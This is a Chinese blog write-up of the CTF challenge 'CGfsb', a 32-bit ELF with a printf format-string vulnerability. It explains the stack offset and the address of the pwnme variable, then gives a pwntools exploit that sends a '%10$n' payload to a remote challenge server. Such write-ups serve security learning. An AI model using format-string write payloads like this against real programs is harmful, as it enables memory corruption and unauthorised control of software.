CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

题目附件: 附件1

 

 

file如下:

 

 32位ELF文件

checksec如下:

 

 IDE反汇编,查看main函数:

 

 我们的目标是把pwnme变成8,这样就能获得flag

函数存在格式化输出漏洞

经过调试,我们发现

 

 此时的栈自顶向下的第11个元素就是我们传进去的那个message

pwnme的地址如下:

 

 因此exp如下:

from pwn import *

#io = process('./pwn')
io = connect('220.249.52.133', 59876)

pwnme_address = 0x0804A068

payload = p32(pwnme_address) + b'a'*0x04 + b'%10$n'
io.sendlineafter('name:', 'caiji')
io.sendlineafter('please:', payload)

io.interactive()

 

posted @ 2020-12-03 23:52  hktk1643  阅读(113)  评论(0编辑  收藏  举报